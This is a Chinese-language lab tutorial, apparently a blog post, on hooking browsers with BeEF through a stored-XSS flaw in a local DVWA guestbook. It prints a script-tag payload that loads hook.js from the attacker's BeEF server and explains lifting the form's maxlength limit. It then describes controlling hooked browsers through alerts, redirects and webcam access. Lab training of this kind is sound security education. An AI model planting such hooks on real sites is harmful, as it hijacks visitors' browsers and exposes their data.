前期准备

实验环境:kali、BeEF、Ubuntu、DVWA
若kali没有配置好BeEF,请参考此文章进行配置:
https://blog.csdn.net/weixin_44657888/article/details/124692782
若Ubuntu没有搭建好DVWA,请参考此文章进行搭建:
https://blog.csdn.net/ydj2200012810/article/details/132009415

开日

首先在kali启动BeEF服务。
图一
开启后,会自动跳转至登录界面,用户名默认为beef,密码在首次启动beef-xss时需要手动设置。
图二
成功登陆后,进入beef主界面
图三
然后在Ubuntu打开DVWA,选择存储型XSS
名字任意填,消息栏填入以下语句即可

1
<script src="http://127.0.0.1:3000/hook.js"></script>

图四
注意,由于前端代码对输入的消息长度有限制,这就导致我们不能完整地输入攻击语句,这个好办
右键框框的位置–检查–找到maxlength,改大些
而且这里要将你的ip地址换成你的真实ip地址
图五
成功输入后,直接点击guestbook提交
此时虽然没看到页面有什么特别的变化,但是右键–检查–网络,可以看到异常数据包
图六
可以看到,接收到刚才我们输入的ip的数据包,这意味着XSS跨站攻击成功实现。
此时,beef的online browsers上线了被攻击靶机的ip,意味着我们可以进行相关操作。
图七
alert 信息
图八
图九
浏览器强制跳转
图十
图十一
除此之外,甚至还能打开摄像头,还可以利用社工诱使你点你某一个带马的文件,那就可能不是简单地控制浏览器了,有可能你的主机的一些文件会受到影响。

little 总结

虽然看着功能是挺强大,但是触发条件没有像打靶场一样简单,非常苛刻,既要浏览器版本满足,要存在XSS跨站漏洞,对方的浏览器不会拦截,对方有登陆过且留下痕迹,而且要对方触发。而且当对方设计了过滤,我们还要思考如何绕过这些过滤,总体来说,要考虑非常多。
虽然但是,我们还是可以玩玩的。